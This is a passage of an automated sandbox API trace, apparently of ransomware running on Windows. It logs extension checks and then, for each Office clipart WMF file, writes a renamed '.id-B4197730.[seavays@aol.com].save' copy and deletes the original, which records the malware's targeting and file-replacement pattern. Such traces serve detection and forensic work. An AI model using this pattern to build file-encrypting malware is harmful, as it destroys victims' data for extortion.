68 [0198.456] lstrlenW (lpString=".zip") returned 4 [0198.456] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.456] lstrlenW (lpString=".rar") returned 4 [0198.456] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.456] lstrlenW (lpString=".bz2") returned 4 [0198.456] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.456] lstrlenW (lpString=".7z") returned 3 [0198.456] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198234.WMF") returned 68 [0198.456] lstrlenW (lpString=".dbf") returned 4 [0198.456] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198234.WMF") returned 68 [0198.456] lstrlenW (lpString=".1cd") returned 4 [0198.456] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198234.WMF") returned 68 [0198.456] lstrlenW (lpString=".jpg") returned 4 [0198.456] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.542] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.542] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198447.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0198.544] GetLastError () returned 0x0 [0198.544] ReadFile (in: hFile=0x374, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0xc20c, lpOverlapped=0x0) returned 1 [0198.548] WriteFile (in: hFile=0x564, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xc210, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xc210, lpOverlapped=0x0) returned 1 [0198.551] ReadFile (in: hFile=0x374, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.551] WriteFile (in: hFile=0x564, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0198.551] SetEndOfFile (hFile=0x564) returned 1 [0198.551] CloseHandle (hObject=0x564) returned 1 [0198.551] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.551] SetEndOfFile (hFile=0x374) returned 1 [0198.555] CloseHandle (hObject=0x374) returned 1 [0198.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198447.wmf")) returned 1 [0198.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF") returned 68 [0198.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF") returned 68 [0198.557] lstrlenW (lpString=".doc") returned 4 [0198.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.557] lstrlenW (lpString=".docx") returned 5 [0198.557] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0198.557] lstrlenW (lpString=".pdf") returned 4 [0198.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.557] lstrlenW (lpString=".xls") returned 4 [0198.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.557] lstrlenW (lpString=".xlsx") returned 5 [0198.557] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0198.557] lstrlenW (lpString=".ppt") returned 4 [0198.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF") returned 68 [0198.557] lstrlenW (lpString=".zip") returned 4 [0198.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.557] lstrlenW (lpString=".rar") returned 4 [0198.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.557] lstrlenW (lpString=".bz2") returned 4 [0198.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.557] lstrlenW (lpString=".7z") returned 3 [0198.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF") returned 68 [0198.557] lstrlenW (lpString=".dbf") returned 4 [0198.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF") returned 68 [0198.558] lstrlenW (lpString=".1cd") returned 4 [0198.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF") returned 68 [0198.558] lstrlenW (lpString=".jpg") returned 4 [0198.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.559] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.559] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198712.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0198.560] GetLastError () returned 0x0 [0198.560] ReadFile (in: hFile=0x374, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0xe17a, lpOverlapped=0x0) returned 1 [0198.563] WriteFile (in: hFile=0x564, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xe180, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xe180, lpOverlapped=0x0) returned 1 [0198.565] ReadFile (in: hFile=0x374, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.565] WriteFile (in: hFile=0x564, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0198.565] SetEndOfFile (hFile=0x564) returned 1 [0198.565] CloseHandle (hObject=0x564) returned 1 [0198.565] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.566] SetEndOfFile (hFile=0x374) returned 1 [0198.569] CloseHandle (hObject=0x374) returned 1 [0198.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198712.wmf")) returned 1 [0198.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF") returned 68 [0198.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF") returned 68 [0198.571] lstrlenW (lpString=".doc") returned 4 [0198.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.571] lstrlenW (lpString=".docx") returned 5 [0198.571] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0198.571] lstrlenW (lpString=".pdf") returned 4 [0198.571] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.571] lstrlenW (lpString=".xls") returned 4 [0198.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.571] lstrlenW (lpString=".xlsx") returned 5 [0198.571] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0198.571] lstrlenW (lpString=".ppt") returned 4 [0198.571] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF") returned 68 [0198.571] lstrlenW (lpString=".zip") returned 4 [0198.571] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.571] lstrlenW (lpString=".rar") returned 4 [0198.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.572] lstrlenW (lpString=".bz2") returned 4 [0198.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.572] lstrlenW (lpString=".7z") returned 3 [0198.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF") returned 68 [0198.572] lstrlenW (lpString=".dbf") returned 4 [0198.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF") returned 68 [0198.572] lstrlenW (lpString=".1cd") returned 4 [0198.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF") returned 68 [0198.572] lstrlenW (lpString=".jpg") returned 4 [0198.572] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.574] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.574] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199279.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0198.576] GetLastError () returned 0x0 [0198.576] ReadFile (in: hFile=0x374, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x714e, lpOverlapped=0x0) returned 1 [0198.870] WriteFile (in: hFile=0x564, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x7150, lpOverlapped=0x0) returned 1 [0198.873] ReadFile (in: hFile=0x374, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.873] WriteFile (in: hFile=0x564, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0198.873] SetEndOfFile (hFile=0x564) returned 1 [0198.873] CloseHandle (hObject=0x564) returned 1 [0198.873] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.873] SetEndOfFile (hFile=0x374) returned 1 [0198.877] CloseHandle (hObject=0x374) returned 1 [0198.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199279.wmf")) returned 1 [0198.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF") returned 68 [0198.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF") returned 68 [0198.880] lstrlenW (lpString=".doc") returned 4 [0198.880] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.880] lstrlenW (lpString=".docx") returned 5 [0198.880] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0198.880] lstrlenW (lpString=".pdf") returned 4 [0198.880] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.880] lstrlenW (lpString=".xls") returned 4 [0198.880] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.880] lstrlenW (lpString=".xlsx") returned 5 [0198.880] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0198.880] lstrlenW (lpString=".ppt") returned 4 [0198.880] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF") returned 68 [0198.880] lstrlenW (lpString=".zip") returned 4 [0198.880] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.880] lstrlenW (lpString=".rar") returned 4 [0198.880] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.880] lstrlenW (lpString=".bz2") returned 4 [0198.880] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.880] lstrlenW (lpString=".7z") returned 3 [0198.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF") returned 68 [0198.881] lstrlenW (lpString=".dbf") returned 4 [0198.881] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF") returned 68 [0198.881] lstrlenW (lpString=".1cd") returned 4 [0198.881] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF") returned 68 [0198.881] lstrlenW (lpString=".jpg") returned 4 [0198.881] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.883] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.883] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199465.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0198.885] GetLastError () returned 0x0 [0198.885] ReadFile (in: hFile=0x374, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x13c4, lpOverlapped=0x0) returned 1 [0198.887] WriteFile (in: hFile=0x564, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x13d0, lpOverlapped=0x0) returned 1 [0198.888] ReadFile (in: hFile=0x374, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.888] WriteFile (in: hFile=0x564, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0198.888] SetEndOfFile (hFile=0x564) returned 1 [0198.889] CloseHandle (hObject=0x564) returned 1 [0198.889] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.889] SetEndOfFile (hFile=0x374) returned 1 [0198.892] CloseHandle (hObject=0x374) returned 1 [0198.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199465.wmf")) returned 1 [0198.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF") returned 68 [0198.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF") returned 68 [0198.894] lstrlenW (lpString=".doc") returned 4 [0198.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.894] lstrlenW (lpString=".docx") returned 5 [0198.894] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0198.894] lstrlenW (lpString=".pdf") returned 4 [0198.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.894] lstrlenW (lpString=".xls") returned 4 [0198.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.894] lstrlenW (lpString=".xlsx") returned 5 [0198.894] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0198.895] lstrlenW (lpString=".ppt") returned 4 [0198.895] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF") returned 68 [0198.895] lstrlenW (lpString=".zip") returned 4 [0198.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.895] lstrlenW (lpString=".rar") returned 4 [0198.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.895] lstrlenW (lpString=".bz2") returned 4 [0198.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.895] lstrlenW (lpString=".7z") returned 3 [0198.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF") returned 68 [0198.895] lstrlenW (lpString=".dbf") returned 4 [0198.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF") returned 68 [0198.895] lstrlenW (lpString=".1cd") returned 4 [0198.895] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF") returned 68 [0198.895] lstrlenW (lpString=".jpg") returned 4 [0198.895] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.897] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.897] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199469.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0198.899] GetLastError () returned 0x0 [0198.899] ReadFile (in: hFile=0x374, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x35bc, lpOverlapped=0x0) returned 1 [0198.901] WriteFile (in: hFile=0x564, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x35c0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x35c0, lpOverlapped=0x0) returned 1 [0198.903] ReadFile (in: hFile=0x374, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.903] WriteFile (in: hFile=0x564, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0198.903] SetEndOfFile (hFile=0x564) returned 1 [0198.903] CloseHandle (hObject=0x564) returned 1 [0198.903] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.903] SetEndOfFile (hFile=0x374) returned 1 [0199.179] CloseHandle (hObject=0x374) returned 1 [0199.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.180] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199469.wmf")) returned 1 [0199.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF") returned 68 [0199.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF") returned 68 [0199.182] lstrlenW (lpString=".doc") returned 4 [0199.182] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.182] lstrlenW (lpString=".docx") returned 5 [0199.182] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0199.182] lstrlenW (lpString=".pdf") returned 4 [0199.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.182] lstrlenW (lpString=".xls") returned 4 [0199.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.182] lstrlenW (lpString=".xlsx") returned 5 [0199.182] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0199.183] lstrlenW (lpString=".ppt") returned 4 [0199.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF") returned 68 [0199.183] lstrlenW (lpString=".zip") returned 4 [0199.183] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.183] lstrlenW (lpString=".rar") returned 4 [0199.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.183] lstrlenW (lpString=".bz2") returned 4 [0199.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.183] lstrlenW (lpString=".7z") returned 3 [0199.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF") returned 68 [0199.183] lstrlenW (lpString=".dbf") returned 4 [0199.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF") returned 68 [0199.183] lstrlenW (lpString=".1cd") returned 4 [0199.183] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF") returned 68 [0199.183] lstrlenW (lpString=".jpg") returned 4 [0199.183] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.185] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.185] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200151.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0199.186] GetLastError () returned 0x0 [0199.186] ReadFile (in: hFile=0x374, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x2004, lpOverlapped=0x0) returned 1 [0199.189] WriteFile (in: 